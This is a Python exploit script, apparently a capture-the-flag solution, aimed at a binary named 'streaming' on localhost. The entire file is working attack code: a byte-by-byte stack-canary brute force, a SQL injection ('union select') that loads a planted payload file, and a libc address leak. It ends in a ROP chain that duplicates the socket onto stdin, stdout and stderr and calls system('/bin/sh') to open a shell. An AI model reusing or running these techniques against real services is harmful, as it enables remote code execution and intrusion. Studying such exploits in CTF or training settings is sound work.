#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './streaming'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'localhost', 'port':8000})
env.select('remote')

#==========

binf = ELF(bin_file)
addr_send_message   = binf.sep_function['send_message']

addr_csu_init       = binf.sep_function['__libc_csu_init']
addr_got_main       = binf.got['__libc_start_main']
addr_got_read       = binf.got['read']
addr_got_write      = binf.got['write']
addr_bss            = binf.sep_section['.bss']

addr_csu_init_1st   = addr_csu_init + 0x5a
addr_csu_init_2nd   = addr_csu_init + 0x40
addr_buf            = addr_bss + 0x900
addr_buf2           = addr_bss + 0xe00

libc = binf.libc
offset_libc_main    = libc.sep_function['__libc_start_main']

path   = './music/'
name   = 'a'
offset  = 0x1b8

#==========

def attack(conn):
    canary = 0x44288b3fb3615500
    #canary = detect_canary(env)
    info('canary        = 0x{:08x}'.format(canary))
    put_mulmusic(canary)

    libc.address        = detect_libc_base(conn)
    addr_libc_str_sh    = libc.search('/bin/sh').next()
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    shell = raw_input('shell?(Y/n)')[0] != 'n'
    rop = ROP(libc)
    if shell:
        rop.dup2(4, 0)
        rop.dup2(4, 1)
        rop.dup2(4, 2)
        rop.system(addr_libc_str_sh)
        #rop.execve(addr_libc_str_sh, 0, 0)
    else:
        message  = '192.168.115.1'.ljust(0x10, '\x00')
        message += 'test\x00'
        rop.read(4, addr_buf2, len(message))
        for i in range(0x10):
            rop.call(addr_send_message, [addr_buf2, 4296, addr_buf2+0x10])

    exploit  = p64(0xdeadbeef)
    exploit += str(rop)
    conn.send(exploit)

    if not shell:
        sleep(0.1)
        conn.send(message)

def put_mulmusic(canary):
    rop = ROP(binf)

    exploit  = 'a'*offset
    exploit += p64(canary)
    exploit += '\x00'*0x10
    exploit += p64(0xdeadbeef)
    exploit += p64(addr_csu_init_1st)
    exploit += p64(0)                   # rbx
    exploit += p64(1)                   # rbp
    exploit += p64(addr_got_write)      # r12
    exploit += p64(8)                   # r13
    exploit += p64(addr_got_main)       # r14
    exploit += p64(4)                   # r15
    exploit += p64(addr_csu_init_2nd)
    exploit += p64(0xdeadbeef)
    exploit += p64(0)                   # rbx
    exploit += p64(1)                   # rbp
    exploit += p64(addr_got_read)       # r12
    exploit += p64(0x10000)             # r13
    exploit += p64(addr_buf)            # r14
    exploit += p64(4)                   # r15
    exploit += p64(addr_csu_init_2nd)
    exploit += p64(0xdeadbeef)
    exploit += p64(0)                   # rbx
    exploit += p64(addr_buf)            # rbp
    exploit += p64(0)                   # r12
    exploit += p64(0)                   # r13
    exploit += p64(0)                   # r14
    exploit += p64(4)                   # r15
    exploit += p64(rop.leave.address)
    upload_file(name, exploit)

def detect_libc_base(conn):
    conn.send('\x80')
    conn.sendafter('\x10'+p32(0x24), ("' union select '%s', 16#" % path+name).ljust(36))
    conn.sendafter('\x11'+p32(0x40), ''.ljust(64))
    conn.sendafter('\x20'+p32(0), '\x84')
    conn.sendafter('\x14'+p32(8), p64(0x3ff))

    addr_libc_main      = u64(conn.recv(8))
    addr_libc_base      = addr_libc_main - offset_libc_main

    return addr_libc_base

def detect_canary(env):
    log = context.log_level
    context.log_level = 100

    canary = '\x00'
    while len(canary) < 8:
        exploit  = 'a'*offset
        exploit += ''.join([canary+chr(i) for i in range(0x100)])
        upload_file(name, exploit)

        for i in range(0, 0x100):
            conn = communicate(env.mode, **env.target)

            conn.send('\x80')
            conn.sendafter('\x10'+p32(0x24), ("' union select '%s', 16#" % path+name).ljust(36))
            conn.sendafter('\x11'+p32(0x40), ''.ljust(64))
            conn.sendafter('\x20'+p32(0), '\x83')
            conn.sendafter('\x13'+p32(8), p64((len(canary)+1)*i))
            conn.sendafter('\x23', '\x84')
            conn.sendafter('\x14'+p32(8), p64(offset+len(canary)+1))

            try:
                conn.recv()
            except:
                found = False
            else:
                found = True
            finally:
                conn.close()

            if found :
                context.log_level = log
                info('canary found : 0x%02x' % i)
                context.log_level = 100

                canary += chr(i)
                break

    context.log_level = log
    return u64(canary)

def upload_file(name, data):
    open(path+name, "wb").write(data)

#=========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========
